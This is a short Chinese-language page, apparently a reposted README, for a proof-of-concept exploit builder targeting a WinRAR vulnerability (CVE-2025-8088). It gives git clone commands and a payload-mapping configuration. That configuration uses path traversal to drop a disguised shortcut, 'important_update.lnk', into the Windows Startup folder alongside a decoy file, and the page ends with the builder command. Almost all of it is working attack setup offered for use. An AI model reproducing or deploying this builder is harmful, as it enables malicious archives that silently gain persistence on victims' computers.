
针对 WinRAR 漏洞(CVE-2025-8088)的 POC 漏洞利用程序,影响版本为 7.12 及更低版本
针对 WinRAR 漏洞(CVE-2025-8088)的 POC 利用工具,影响版本为 7.12 及更低版本
git clone https://github.com/papcaii2004/CVE-2025-8088-WinRAR-builder.git
cd CVE-2025-8088-WinRAR-builder
mkdir payloads
PAYLOAD_MAPPING# 2. 将我们的载荷映射到对应的目标位置
# 格式:(payloads 目录中的文件名, 目标解压路径)
PAYLOAD_MAPPING: List[Tuple[str, str]] = [
# 载荷 1
("payload.lnk", "..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\important_update.lnk"),
# 载荷 2
("image.png", "C:\\Users\\Public\\Downloads\\logo.png"),
# 载荷 3
# 添加你自己的
]
python builder.py <decoy_file>
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\